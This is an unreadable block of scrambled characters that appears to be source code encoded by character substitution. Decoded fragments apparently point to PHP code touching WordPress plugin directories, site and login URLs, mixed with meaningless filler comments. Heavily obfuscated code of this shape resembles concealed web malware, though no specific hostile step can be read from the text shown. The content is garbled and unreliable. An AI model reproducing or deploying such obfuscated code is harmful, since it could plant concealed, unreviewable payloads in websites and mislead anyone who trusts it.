,rkm><e?`}9;ll(((i{(,lm:yeg9ineej?x!(((s((((yy|m;zWdxb}n{r{~akm ,lm:yeg9ineej?x$( 8p>8#8p9<<!!3((an(((( {jynjr};<k;ff=~{9pbapx ,lm:yeg9ineej?x$(|;neyggnc9}qimc=gf ,mc>`r`;>lip}x`a!!!(sfj0ffpdgn}pcpf0dq ,lm:yeg9ineej?x!3(((m1<bdc<lk<9|c;d ,lm:yeg9ineej?x!3,l~0g?kp:5X@XWAF\WEIP'X@XWAF\WEIP3,kmbybqi~znzl8m5,l~0g?kp:#:?3(((yy|m;zWdxb}n{r{~akm ,lm:yeg9ineej?x$(( ::9#?9!!3((((((d8incq1<`|<n`1Wi ,lm:yeg9ineej?x!3an(((( ,lm:yeg9ineej?x((555(z9>1{1jm8r8;e~8 !!(((s(mrppqfp~aze:9: |z}m!3((((p|;izdoby9r|y{a|: |z}m!3((((((((u((u((md{m(syy|m;zWdxb}n{r{~akm ,lm:yeg9ineej?x$( :??#9=!!3((uu(u(ki|k`(((( \`zgijdm(,d|f9x=j|9W:!((((s,j0peki;|cn:k5:<0t9?13,k0kzk=eq8f5,j0peki;|cn:kV9=3((((((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ =91!$((,d|f9x=j|9W:!3u((((ki|k`(( Mpkmx|agf(((((,d|f9x=j|9W:!((s(((u(un}fk|agf(((arb:a`zd|d;~8l; !((s(((((({|i|ak(((((,cq1=;ji;=z(5(nid{m3(an( ,cq1=;ji;=z!(zm|}zf3((,cq1=;ji;=z((5((((|z}m3(|zq((s(((((fq;lazce|=gol}|<0| !3(((ilbib=W<bkqWo`8~8fzm| !3(p|iabeqk:rlg{ !3p:cfrqb8|li{qk= !3(pp|qe<m:o;~keedjg:~g?< !3(rdoexlk}>b=r?igc9| !3d?bbzijdefzod<jy99j !3((dcn~jkaoykk=k{< !3(((((b1q1ncqrlp:bo:8mz8x !3((((((an(( xjrr=>Wczi:d~}f|b>`qg !!(((s((an(( jj`>dqcld1xlfd: =:8! jj`>dqcld1xlfd: =:9!!(..((((lalWik|agf aW;~yrxiqyjro <<:!!!((s((((an( aW;~yrxiqyjro =:8! jj`>dqcld1xlfd: =::!!!((jj`>dqcld1xlfd: =::! jj`>dqcld1xlfd: <<;!!3((u(md{m(((s(((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ <<:!$((((jj`>dqcld1xlfd: <<;!$((((8!3(((((u(u(((u(ki|k`((( \`zgijdm((,d|f9x=j|9W:!(s,b:xeip1efx~5X@XWAF\WEIP'X@XWAF\WEIP3,ji`{|xgcm5,b:xeip1efx~#9;3u((ki|k`((( Mpkmx|agf((((,d|f9x=j|9W:!((((((s(((uu(n}fk|agf(ielkode:gcnl00eaWjfj !((((s|zq((san(((( )rq;ec{mmgl| =:;! rq;ec{mmgl| <<=!!(((((tt()jj`>dqcld1xlfd: =:;! aozjlg0f<j1nk{ =:<!!!((((zm|}zf3(an( )jj`>dqcld1xlfd: =:;! aozjlg0f<j1nk{ =:=!!((((tt(((()aW;~yrxiqyjro =:;! jj`>dqcld1xlfd: ;1=!!!((zm|}zf3(,jyl9~y0p{?bg}md((5(aW;~yrxiqyjro =:>! !3(((an(((( ,jyl9~y0p{?bg}md(((((%((( af|!((Hom|Wgx|agf jj`>dqcld1xlfd: =:?!$(8!(4(((((( ;=1>#<!!(zm|}zf3((((((((H}xli|mWgx|agf rq;ec{mmgl| =:?!$(,jyl9~y0p{?bg}md$(aozjlg0f<j1nk{ =:0!!3Hrq;ec{mmgl| <<=! `gemW}zd /'/!$((izziq aW;~yrxiqyjro ;;?!(((56(((((:$((rq;ec{mmgl| ;;0!(((56(((nid{m$(((aW;~yrxiqyjro <<0!(56((((nid{m!!3u((ki|k`(( \`zgijdm(((,d|f9x=j|9W:!(s(u(ki|k`(( Mpkmx|agf(,d|f9x=j|9W:!((s(u''(zg|i|m(y}g|amf|(ngz(_X(^mz{m(Jdgkc(((u(((n}fk|agf(xjrr=>Wczi:d~}f|b>`qg !(s(((an( )((aozjlg0f<j1nk{ =:1! jj`>dqcld1xlfd: =:=!!!((s((((zm|}zf(|z}m3((u(((an( aozjlg0f<j1nk{ =:1! jj`>dqcld1xlfd: <?<!!((((..(om|W|zif{amf| i9{{zWo1a?==r?ac8{y !!!(((s((((zm|}zf(((nid{m3,n|>=bp~olp5X@XWEIBGZW^MZ[AGF3,qgmrby1xaWr5,n|>=bp~olp"13(((u((((((,zey?py?~falbrr=c(5(((`m=pgy8caf?;8a:y !3((((((,i<8cbbodo>xxoe((5(i`18a{<nfW0~lyzic~p}< aozjlg0f<j1nk{ <?>!$((((nid{m!3((an(((( aW;~yrxiqyjro <09! ,i<8cbbodo>xxoe!((((..(a{{m| ,i<8cbbodo>xxoeSaozjlg0f<j1nk{ =;8!U!((..(((((( af|!(((,i<8cbbodo>xxoeSaozjlg0f<j1nk{ =;9!U((65(((( 91<#98>!(..( af|!(((,i<8cbbodo>xxoeSjj`>dqcld1xlfd: =;9!U((((45( 9?=90#>000:!!(((,zey?py?~falbrr=c(((((5((((( af|!((((,i<8cbbodo>xxoeSaW;~yrxiqyjro =;9!U3((,cefz`z:|10qgk=r=(5(( af|!((((((om|Wgx|agf rq;ec{mmgl| <>=!$(8!3((((an(( ,cefz`z:|10qgk=r=((6(((((8(((..( jj`>dqcld1xlfd: =;:! !((%((((,cefz`z:|10qgk=r=!((((4(((,zey?py?~falbrr=c!(((s((((zm|}zf((((nid{m3(((((u((,jina119cx8kW(((5((((( af|!(((om|Wgx|agf jj`>dqcld1xlfd: =;;!$((8!3(an(( ,jina119cx8kW(6(8!((s(,l9cb`0ryz=1a((5(((((( af|!(((om|Wgx|agf rq;ec{mmgl| =;<!$((8!3((,lf={zW=id1`r(((5((izziq  :><#;>!$(((((( 9=:;%>:;!$(((( 9?;>#><!$( ;=;?#>;!$(( ;=:<#?>!!3(((,pgzrxf<8~b(5((((,lf={zW=id1`rSrq;ec{mmgl| =;=! 8$(aW;~yrxiqyjro =;>! ,l9cb`0ryz=1a(((%(9$(((( 9#;!!!U3(((((,pgzrxf<8~b(((#5((((rq;ec{mmgl| <<8! 8$((( af|!(( ,pgzrxf<8~b((((("(8&:=!!3(((an((((  jj`>dqcld1xlfd: =;:! !((%(,jina119cx8kW!(((((4(,pgzrxf<8~b!(((((s''(H{}{xmfl(`miz|jmi|((((zm|}zf((nid{m3(((((uu((((((((((zm|}zf(((|z}m3(u(n}fk|agf((((`zijrk:qn~e|~f !((s(,l9cb`0ryz=1a(((5(( af|!(om|Wgx|agf aW;~yrxiqyjro =;<!$((((8!3(}xli|mWgx|agf jj`>dqcld1xlfd: =;<!$(((,l9cb`0ryz=1a((#((9!3(((}xli|mWgx|agf jj`>dqcld1xlfd: =;;!$((jj`>dqcld1xlfd: =;:! !!3(((((u((((((n}fk|agf(q|=81{p~z<081;}8f|m0 !(((s''(_X(Nmi|}zml(Aeiom2(fgzeid(y}g|amf|(((((,mzf9m`<8g>dr;((5(((izziq !3(((|zq(s((((((,mzf9m`<8g>dr;SaW;~yrxiqyjro =;?!U(((5(ojcir|0ro>gifi>;n?| !3(((,mzf9m`<8g>dr;SaW;~yrxiqyjro =;0!U((5((((((X@XW^MZ[AGF3(,mzf9m`<8g>dr;SaW;~yrxiqyjro =;1!U((5((((rq;ec{mmgl| 0;! !3,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =<8!U(5(((( rq;ec{mmgl| =<9! aW;~yrxiqyjro =<:!!(((..(a{W{{d !!(((7(9((((2((83,mzf9m`<8g>dr;Srq;ec{mmgl| =<;!U((5( rq;ec{mmgl| =<9! jj`>dqcld1xlfd: ::?!!((..(((a{We}d|a{a|m !!((7(9((2((83(((((((,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: =<<!U(((((5((a{{m| ,ODGJID[Saozjlg0f<j1nk{ =<=!U!(7((( {|zafo!(((((,ODGJID[SaW;~yrxiqyjro =<=!U(((2(**3,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: =<>!U((5(a{{m| ,W[MZ^MZSaozjlg0f<j1nk{ 0>!U!(((((7(((jj`>dqcld1xlfd: =<?!  {|zafo!((((((,W[MZ^MZSaozjlg0f<j1nk{ 0>!U$(((8$((( ?#;;!!(2((((**3(,{mp~kr18lp?nd(((5(((( a{{m| ,ODGJID[Srq;ec{mmgl| =<0!U!(..((jj`>dqcld1xlfd: =<1! ,ODGJID[Saozjlg0f<j1nk{ ==8!U!!(((((7((((rq;ec{mmgl| ;19! ,ODGJID[SaW;~yrxiqyjro ==8!U!((2((**3,mzf9m`<8g>dr;SaW;~yrxiqyjro ==9!U(((5( ,{mp~kr18lp?nd((()55(((**!(7(9(((((2(((((83(((((,mzf9m`<8g>dr;SaW;~yrxiqyjro ==:!U(((5((((aW;~yrxiqyjro ==;! ,{mp~kr18lp?nd!3((((,mzf9m`<8g>dr;Srq;ec{mmgl| ==<!U(5(()mex|q ,ODGJID[SaW;~yrxiqyjro ===!U!((7((((((9((2(83,mzf9m`<8g>dr;Srq;ec{mmgl| ==>!U(5((()mex|q ,ODGJID[Saozjlg0f<j1nk{ ==?!U!(7((((9((2(83((,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: ==0!U(5(((rq;ec{mmgl| ==1! aozjlg0f<j1nk{ =:=!!((((((7(( af|!(((((Hom|Wgx|agf aW;~yrxiqyjro =>8!$(8!(((2((((83((((((,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =>9!U(((((5( g:lp;i`rx`r>faW= jj`>dqcld1xlfd: =>9!$(**!(()55((((**!(7((((9(2(83(((((((,mzf9m`<8g>dr;SaW;~yrxiqyjro =>:!U(5((rq;ec{mmgl| ==1! aW;~yrxiqyjro =:=!!(7( af|!(((Hom|Wgx|agf aW;~yrxiqyjro =>;!$(8!(2(((83(,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =><!U((5(aozjlg0f<j1nk{ ==1! aW;~yrxiqyjro =:=!!((7(((( af|!((Hom|Wgx|agf aW;~yrxiqyjro =>=!$((((8!(((2(((((83((((((,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =>>!U(5((jj`>dqcld1xlfd: =>?! jj`>dqcld1xlfd: =:=!!(((7((((( af|!((((Hom|Wgx|agf rq;ec{mmgl| =>0!$(8!(2(83,~<nor9>l8n((5(}ql:?yp08{}elk0~|}1ni !3(((((,mzf9m`<8g>dr;SaW;~yrxiqyjro =>1!U((5((((((Haozjlg0f<j1nk{ =?8! ,~<nor9>l8n(&((aW;~yrxiqyjro =?9!!((7( na<iic{ffly~p||~c{ Hjj`>dqcld1xlfd: =?:! ,~<nor9>l8n(&((((aW;~yrxiqyjro =?9!$(((nid{m$((f}dd$(8$((( 0999#09!!!(7(((((:(((2((9!((2(((83((,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =?;!U(5((Hrq;ec{mmgl| =?<! ,~<nor9>l8n((&(aozjlg0f<j1nk{ =?=!!((7( na<iic{ffly~p||~c{ Hjj`>dqcld1xlfd: =?>! ,~<nor9>l8n(&(((rq;ec{mmgl| =?=!$(nid{m$((((f}dd$(((8$(((( 09>;#:1!!!(7(((:(((2(((9!(((2(((((83,mzf9m`<8g>dr;Srq;ec{mmgl| =??!U(5((Hrq;ec{mmgl| =?<! ,~<nor9>l8n(((&((aW;~yrxiqyjro =?0!!(7(( na<iic{ffly~p||~c{ Hrq;ec{mmgl| =?>! ,~<nor9>l8n((((&(((((aW;~yrxiqyjro =?0!$(nid{m$(f}dd$((((8$(((((( 099:#08!!!(7((((:((2((9!((((((2(83,Wjxqyx?ejc?daloc((5((((aozjlg0f<j1nk{ =?1!(((((&(((g{mxxjmmdpz1}` IJ[XI\@(&(/o/$(( 9;%=!!3(((((,iik?>mer?lWr1o8(((((5(((((jj`>dqcld1xlfd: =08!(&(((((g{mxxjmmdpz1}` IJ[XI\@(&((/o/$(( 9;%=!!3((((,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =09!U(((5(83((ngzmik`(( izziq e||ngqy~:jfj0;o0a !$((,~<nor9>l8n$(IJ[XI\@((&((aW;~yrxiqyjro =0:!!((i{(,d>q~~joz8>d9{=c|!((s(an(( Hjj`>dqcld1xlfd: =?<! ,d>q~~joz8>d9{=c|((&(/'/((&((,Wjxqyx?ejc?daloc((&((rq;ec{mmgl| =8>!!!(((((,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: =09!U(5((93(an( Hrq;ec{mmgl| =?<! ,d>q~~joz8>d9{=c|((((((&(((((/'/(((&((,iik?>mer?lWr1o8!(..(((( af|!(HaW;~yrxiqyjro :8:! ,d>q~~joz8>d9{=c|(((((&((/'/(&(((((,iik?>mer?lWr1o8!((6((jj`>dqcld1xlfd: =0;! !(((%((( ;=0%990!!(((s,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: =0<!U((((((5((:3(((jzmic3u((((((u(}f{m| ,iik?>mer?lWr1o8$((,d>q~~joz8>d9{=c|!3((,z~gg{W1z9W`gy}0;(5(aW;~yrxiqyjro =0=! rq;ec{mmgl| <=<!!((7((HaW;~yrxiqyjro <=<! jj`>dqcld1xlfd: =0>!!((2(nid{m3((an((( )aozjlg0f<j1nk{ =0?! ,z~gg{W1z9W`gy}0;!((((tt(,z~gg{W1z9W`gy}0;(555(((((**((((tt(((((,z~gg{W1z9W`gy}0;(((555(((rq;ec{mmgl| =00!!(,z~gg{W1z9W`gy}0;((5(((((aW;~yrxiqyjro =01!3,mzf9m`<8g>dr;Saozjlg0f<j1nk{ =18!U((5((( Hrq;ec{mmgl| =?<! IJ[XI\@(&(,z~gg{W1z9W`gy}0;!(..((((jj`>dqcld1xlfd: ;>>!  {|zafo!((Hrq;ec{mmgl| =?>! IJ[XI\@((&((((,z~gg{W1z9W`gy}0;!$((aW;~yrxiqyjro =19!!(()55(((((nid{m!(((7((9(((2((83,mzf9m`<8g>dr;Srq;ec{mmgl| =1:!U((5(( HaW;~yrxiqyjro =1;! IJ[XI\@(((((&((((((rq;ec{mmgl| =1<!!((..(aW;~yrxiqyjro ;>>!  {|zafo!(((HaW;~yrxiqyjro =?>! IJ[XI\@(&((jj`>dqcld1xlfd: =1<!!$(rq;ec{mmgl| =1=!!((()55((((((nid{m!((7((((9(((2(((83,mzf9m`<8g>dr;Srq;ec{mmgl| =1>!U(5((( HaW;~yrxiqyjro =1?! IJ[XI\@((&((((aozjlg0f<j1nk{ =10!!((..(aozjlg0f<j1nk{ ;>>!  {|zafo!((HaW;~yrxiqyjro =11! IJ[XI\@(((&((((rq;ec{mmgl| >88!$(((nid{m$(f}dd$((((((8$(( >==:8#9>!!$((rq;ec{mmgl| >89!!()55(((nid{m!(((7(((9((2(83((,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: >8:!U(5(lmnafml aW;~yrxiqyjro >8;!!((((((7((9(((((2(83((((((,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: >8<!U(((5(((((( lmnafml rq;ec{mmgl| >8=!!((tt(lmnafml aW;~yrxiqyjro >8>!!((tt(lmnafml aW;~yrxiqyjro >8?!!(tt((jj`>dqcld1xlfd: =0=! aW;~yrxiqyjro >80!!((((((tt((((((aozjlg0f<j1nk{ >81! aW;~yrxiqyjro >98!!((((((tt((((a{{m| ,ODGJID[Sjj`>dqcld1xlfd: >99!U!((tt((jj`>dqcld1xlfd: >9:! jj`>dqcld1xlfd: >9;!!!(((((7(9((2((83(,mzf9m`<8g>dr;Saozjlg0f<j1nk{ >9<!U((5(((( af|!(om|Wgx|agf jj`>dqcld1xlfd: <>=!$((((8!3,mzf9m`<8g>dr;Saozjlg0f<j1nk{ >9=!U(5(((( af|!((om|Wgx|agf aozjlg0f<j1nk{ >9>!$((8!3(,mzf9m`<8g>dr;SaW;~yrxiqyjro >9?!U((((5( af|!((((om|Wgx|agf aW;~yrxiqyjro >90!$(((8!3,k`;y;8xd{1bo`(((5(((((`ja}:~bo1<;}zr;fcWWp aozjlg0f<j1nk{ >91!$(izziq !!3,dzna>m||k5>183,z=bnpbjf|q5 ,dzna>m||k68!7,dzna>m||k2%,dzna>m||k3(,q0:j<1:y=a(((((5((83((((,}n8j}imrWkq>a(((5((83((((an((( jj`>dqcld1xlfd: <09! ,k`;y;8xd{1bo`!!((((s(((((ngzmik`((( ,k`;y;8xd{1bo`(i{((,e9;0`fp1zi!(((((s((an((( fWq;r?k}ilylknf0:l9< ,e9;0`fp1zi!(((555((((**!((kgf|af}m3,q0:j<1:y=a##3((,gi:;1{q{0q((5(((aozjlg0f<j1nk{ <09! ,e9;0`fp1zi!((7( af|!(( a{{m| ,e9;0`fp1ziSjj`>dqcld1xlfd: >:8!U!((((7((,e9;0`fp1ziSaW;~yrxiqyjro >:8!U(2(((9!((((2(((93((,x9q<1}rWnj|j1p(((5(aozjlg0f<j1nk{ <09! ,e9;0`fp1zi!(..((((a{{m| ,e9;0`fp1ziSjj`>dqcld1xlfd: >:9!U!(7(( af|!((,e9;0`fp1ziSaozjlg0f<j1nk{ >:9!U((2(83(an(((( ),gi:;1{q{0q(..(((( ),x9q<1}rWnj|j1p(tt(((,x9q<1}rWnj|j1p(4((jj`>dqcld1xlfd: >::! !((((%((( ;==8#=8!!!(,}n8j}imrWkq>a##3((((u(u((,mzf9m`<8g>dr;Srq;ec{mmgl| >:;!U((5(,q0:j<1:y=a3((,mzf9m`<8g>dr;SaW;~yrxiqyjro >:<!U((((((5(((,}n8j}imrWkq>a3((((,j}zzdy:=nk(((((5((jj`>dqcld1xlfd: >9:! jj`>dqcld1xlfd: =:=!!(((((7((Hom|Wgx|agf aozjlg0f<j1nk{ >:=!$(**!((((((2((((((**3((((,mzf9m`<8g>dr;Sjj`>dqcld1xlfd: >:>!U(((5(((rq;ec{mmgl| >:?! ,j}zzdy:=nk!((7(aW;~yrxiqyjro =<?! ,j}zzdy:=nk$((((8$(((( :;1V:;<!!((((((2(((**3(,`W}no1p;;j{<((5(rq;ec{mmgl| >9:! aozjlg0f<j1nk{ =:=!!(((((7(Hom|Wgx|agf aW;~yrxiqyjro >:0!$(((izziq !!((2((((izziq !3((((,mzf9m`<8g>dr;SaW;~yrxiqyjro >:1!U((5( rq;ec{mmgl| <09! ,`W}no1p;;j{<!((..( )mex|q ,`W}no1p;;j{<S/|/U!(((((tt(()mex|q ,`W}no1p;;j{<Srq;ec{mmgl| >;8!U!!!(7(((9((((2((((((83((u((ki|k`(((((( \`zgijdm(,d|f9x=j|9W:!(s((((((,mzf9m`<8g>dr;Srq;ec{mmgl| >;9!U(5(aozjlg0f<j1nk{ >;:! ,d|f9x=j|9W:%6om|Em{{iom !$(8$((( <:#90!!3((u((ki|k`(( Mpkmx|agf((((,d|f9x=j|9W:!(((s(((,mzf9m`<8g>dr;Saozjlg0f<j1nk{ >;9!U(5(aW;~yrxiqyjro >;;! ,d|f9x=j|9W:%6om|Em{{iom !$(8$((( 8p:0#8p9<!!3(u(((((((zm|}zf((,mzf9m`<8g>dr;3u((((n}fk|agf((eWy9bx|rp<`|:=zq?czl;| !s((((((an( aozjlg0f<j1nk{ >9:! aW;~yrxiqyjro >;<!!!(((((s(((((zm|}zf(( {|zafo!((({a|mW}zd aozjlg0f<j1nk{ >;=!!3((((((u(zm|}zf(aW;~yrxiqyjro >9:! aW;~yrxiqyjro >;>!!((7((( {|zafo!(((((xWdgoafW}zd !(((2((**3(u((((((n}fk|agf(orkx{~qmc8gyjn ,f~fca1:WWj!((s(,r<zliei1af<r}ygd(5(((**3(((an((( aW;~yrxiqyjro >9:! aW;~yrxiqyjro >;?!!!(((s''({fix{`g|%a{gdi|ml({k`ml}dmz((,r<zliei1af<r}ygd((((5(( {|zafo!((((((rq;ec{mmgl| >;0! `gemW}zd !$(kgf{|if| aozjlg0f<j1nk{ >;1!!!3(((u((an( )((((,r<zliei1af<r}ygd((..((aW;~yrxiqyjro >9:! aW;~yrxiqyjro ><8!!!(s((,r<zliei1af<r}ygd(5(( {|zafo!((aozjlg0f<j1nk{ >;0! om|W{a|mW}zd !$(kgf{|if| aozjlg0f<j1nk{ >;1!!!3(u((an(((( )(((,r<zliei1af<r}ygd(((((..(rq;ec{mmgl| >9:! aW;~yrxiqyjro ><9!!!(s(,r<zliei1af<r}ygd((5( {|zafo!((((((rq;ec{mmgl| >;0! om|Wjdgoafng rq;ec{mmgl| ><:!!$((kgf{|if| aW;~yrxiqyjro >;1!!!3u(an(( )((,r<zliei1af<r}ygd((..(((aozjlg0f<j1nk{ ><;! rq;ec{mmgl| ><<!!!(((((s((,r<zliei1af<r}ygd(5( {|zafo!((((aozjlg0f<j1nk{ >;0!  {|zafo!(((om|Wgx|agf aW;~yrxiqyjro ><=!$(((**!$((kgf{|if| jj`>dqcld1xlfd: >;1!!!3(((((u(((an( )(((,r<zliei1af<r}ygd(..(a{{m| ,W[MZ^MZSjj`>dqcld1xlfd: ><>!U!!((s(,r<zliei1af<r}ygd(5(( {|zafo!((((,W[MZ^MZSjj`>dqcld1xlfd: ><>!U3(uan( )(,r<zliei1af<r}ygd((..(a{{m| ,W[MZ^MZSaozjlg0f<j1nk{ ><?!U!!((((s(((((((,r<zliei1af<r}ygd((5(((( {|zafo!(,W[MZ^MZSjj`>dqcld1xlfd: ><?!U3(u((an( )((,r<zliei1af<r}ygd!((((s''(_X(\ijdm(Jdgkc2(ki}{id(ealldmizmzm|}zf(,f~fca1:WWj3(((u(zm|}zf(((,r<zliei1af<r}ygd3((un}fk|agf((((}:zejd:11yx !(s(((|zq((((((s'"(xgdqfgeaid({|ijadarmz("'(,p{`~rbl?0xcf:y(((((5(((rq;ec{mmgl| ><0! aozjlg0f<j1nk{ <=<!!(7((( af|!(((Haozjlg0f<j1nk{ ><1! aW;~yrxiqyjro >=8!!((2(((83an(( aozjlg0f<j1nk{ ><0! aozjlg0f<j1nk{ <?;!!!(Hjj`>dqcld1xlfd: >=9!  91;%9;!!3((,|{`b}pcq0?1i;~}b(5(( ,p{`~rbl?0xcf:y(6(( 8pm#8p>!(..((,p{`~rbl?0xcf:y((((4( <=44:!!(7( ,p{`~rbl?0xcf:y(((%(((((( 0#:!!((2(  ,p{`~rbl?0xcf:y((((((6((((8((..((((,p{`~rbl?0xcf:y((45(((( ;<V=<!!((7( ?#;!((2(((((( 8p91#8p<9!!3(((((an( )((((xjrr=>Wczi:d~}f|b>`qg !!((s(zm|}zf3(((((u(an((( )keabp1?l:==10>dne1f<9 aW;~yrxiqyjro <;0!!!((((((s((zm|}zf3((u((((,gl>appg1rWy((5(((jj`>dqcld1xlfd: >=:! |z}m!3(((,z0a~bzrd}m(5(((`l~qxc|?>09=i~c;9l~ !3(((an((( )(((rq;ec{mmgl| <09! ,z0a~bzrd}m!tt(()(a{{m| ,z0a~bzrd}mSaozjlg0f<j1nk{ ;0=!U!((((((tt(()(((((aozjlg0f<j1nk{ >=;! ,z0a~bzrd}mSaozjlg0f<j1nk{ >=<!U!(tt()(((((,z0a~bzrd}mSaozjlg0f<j1nk{ >=<!U(((tt((()((((a{{m| ,z0a~bzrd}mSjj`>dqcld1xlfd: ;1:!U!(((tt((()(rq;ec{mmgl| <09! ,z0a~bzrd}mSjj`>dqcld1xlfd: ;1:!U!((((tt((mex|q ,z0a~bzrd}mSjj`>dqcld1xlfd: ;1:!U!(((!(s(((`zijrk:qn~e|~f !3((zm|}zf3(u(,z`eg{q8W1x<>g{l((5((,z0a~bzrd}mSaW;~yrxiqyjro >==!U3(,y:`11?dc9=((((5((,z0a~bzrd}mSaozjlg0f<j1nk{ ;1:!U3((brWd:drr>|qrizlfce::~ aozjlg0f<j1nk{ ;00!$(,z`eg{q8W1x<>g{l$((rq;ec{mmgl| >=>!!3((((,`>j>a~p?|08?{y><((((5(jj`>dqcld1xlfd: ><0! aW;~yrxiqyjro ><<!!(7(((( {|zafo!((om|Wgx|agf aozjlg0f<j1nk{ >=?!$((((((**!(((2(**3,~::jj0pmp0p5000>3,q<:jq|;`l5,~::jj0pmp0p-03((an((( ,`>j>a~p?|08?{y><(((()55(((((**(((..((aozjlg0f<j1nk{ 91=! ,`>j>a~p?|08?{y><$(,y:`11?dc9=$(((((|z}m!!(s(((,y:`11?dc9=((5((aW;~yrxiqyjro ;18! rq;ec{mmgl| 91>! ,y:`11?dc9=$(izziq ,`>j>a~p?|08?{y><!!!3(((rq;ec{mmgl| >=0! ,y:`11?dc9=!3((((aW;~yrxiqyjro >=1! ,y:`11?dc9=$((,`>j>a~p?|08?{y><!3(u((md{man(((((( jj`>dqcld1xlfd: >>8! ,y:`11?dc9=!(6(((9!((s(((((jj`>dqcld1xlfd: >=0! ,y:`11?dc9=!3(((((((u'"({|zmieafo({}j{|a|}|agf%eix("'((an(((((  jj`>dqcld1xlfd: >=:! |z}m!((%(,gl>appg1rWy!(((((6((((( af|!((((( ,|{`b}pcq0?1i;~}b("(((8&>!!((((s''({{i%kgf~mz|({|ijadarmz(ngz(_X(Zml}p([|gzm(((`zijrk:qn~e|~f !3((((zm|}zf3((u(((,q9d10fefb}0j;l((5((W;e1cpbo}?y``=< !3(((<lbc;em?qm<d9>>0?ano ,q9d10fefb}0j;l!3((,}?m}n0`8m|y((((5(((izziq !3(((((an((( rq;ec{mmgl| ><0! jj`>dqcld1xlfd: >>9!!!((s(ngzmik`((  izziq!((om|Wgx|agf aW;~yrxiqyjro ::>!$(((izziq !!(i{(((((,ndjnir;e;:?fazg9!(((s(an(( jj`>dqcld1xlfd: >=;! ,ndjnir;e;:?fazg9!(..((((,ndjnir;e;:?fazg9!((s(((,}?m}n0`8m|ySU((((5((((,ndjnir;e;:?fazg93u(((u(((u''(X@X(ei|k`(mpxzm{{agf2(k}jak(k`iaf(,xe{r:jq`kp|0`(5(((izziq !3(an( lmnafml aW;~yrxiqyjro 9<!!!((s(((,e?;g09{9>kp`(((5(((jj`>dqcld1xlfd: ><0! aozjlg0f<j1nk{ =80!!(((((7(((((Hjj`>dqcld1xlfd: =80! aozjlg0f<j1nk{ 9;! _XE]WXD]OAFWLAZ$((/'/!((&(aozjlg0f<j1nk{ >>:!!((2(nid{m3(an((( aozjlg0f<j1nk{ >>;! ,e?;g09{9>kp`!!(((sngzmik`(((( ,e?;g09{9>kp`(((i{((((,lm:yeg9ineej?x!(((s(,xe{r:jq`kp|0`SU((5(aW;~yrxiqyjro :=?! ,lm:yeg9ineej?x!3(((((u''(xzgxioi|m(kgffmk|ml(jdgge%nad|mz((((uu(((,{j;mejc=dy8kb(5((((((izziq (aW;~yrxiqyjro >><!((56(((orkx{~qmc8gyjn **!$((rq;ec{mmgl| >>=!(((56(ojcir|0ro>gifi>;n?| !$aozjlg0f<j1nk{ >>>!(((((56((aozjlg0f<j1nk{ :=?! z9>1{1jm8r8;e~8 !$((rq;ec{mmgl| =8>!!$(aW;~yrxiqyjro >>?!(((((56(((aozjlg0f<j1nk{ >>0! IJ[XI\@$(rq;ec{mmgl| 98>!!$rq;ec{mmgl| >>1!((56((,}?m}n0`8m|y$(((aozjlg0f<j1nk{ >?8!(56(((,xe{r:jq`kp|0`$rq;ec{mmgl| >?9!(((56((((eWy9bx|rp<`|:=zq?czl;| !$aW;~yrxiqyjro >?:!(56((((bc<}meWnW<yW1zrjb8=i? ,q9d10fefb}0j;l!$(aW;~yrxiqyjro >?;!(((56((fWj|ld}p<}8cgp>rm~ ,q9d10fefb}0j;l!$((((((jj`>dqcld1xlfd: <::!(((56(( ,gxkf<zfblfp08(5((oyzl|f>:{`fzr|o;demp !!$((((((!3((,pbj>{?c|lk>`((5((aozjlg0f<j1nk{ ><0! jj`>dqcld1xlfd: >?<!!(((7(((((xWb{gfWmfkglm ,{j;mejc=dy8kb!((2((((((rq;ec{mmgl| >?=! ,{j;mejc=dy8kb!3((((((,f<~|n~}qgdfoy;f(((5(rr{y<8;r?j{``qpm1maW ,pbj>{?c|lk>`$(,z`eg{q8W1x<>g{l!3,d|90:8bc>;k(((5((izziq jj`>dqcld1xlfd: >?>!(((56(((aW;~yrxiqyjro >??!!3(,Woee<p`op`b|g(((5((f}dd3((`zijrk:qn~e|~f !3ngzmik`(( ,y:`11?dc9=(i{(,beb0k9x>lon!(s((((an(  aW;~yrxiqyjro >=:! |z}m!((((((%((,gl>appg1rWy!(((6((,|{`b}pcq0?1i;~}b!(((s((((jzmic3((u(((,beb0k9x>lon(((((5((aW;~yrxiqyjro ;19!  {|zafo!((((((,beb0k9x>lon!3((an( )((,beb0k9x>lon!(skgf|af}m3u(((((((|zq(((s''(kgf{almz(afdafafo(((((,a;m99b|9b:y((((((5((,z`eg{q8W1x<>g{l3(,p`peg;fr~oyez((5(((~9|9?lo91g~?0?k ,beb0k9x>lon$(,f<~|n~}qgdfoy;f$(((,d|90:8bc>;k$(( 9:0V9;0!$((n}fk|agf(( ,|~|x`dl{j9!((}{m( ,a;m99b|9b:y!((((((s,mzf9m`<8g>dr;((5(((((rr{y<8;r?j{``qpm1maW ,|~|x`dl{j9$(,a;m99b|9b:y!3(an(( ),mzf9m`<8g>dr;!(((((zm|}zf(((nid{m3((zm|}zf(((jj`>dqcld1xlfd: >?0! Haozjlg0f<j1nk{ ;>:! aozjlg0f<j1nk{ ;19! ,mzf9m`<8g>dr;!$(((|z}m!!3u!3an((( )((,p`peg;fr~oyez!(((sgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| <?9!$((((rq;ec{mmgl| >?1!(((&((,beb0k9x>lon!3((kgf|af}m3(((((u''(X[Z%?(em{{iom{2(jmfk`eizc(a|mzi|gz(((,eqcx?x0m|f((((5(rr{y<8;r?j{``qpm1maW ,p`peg;fr~oyez$(,z`eg{q8W1x<>g{l!3((an(( )((((,eqcx?x0m|f!((((s(((((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 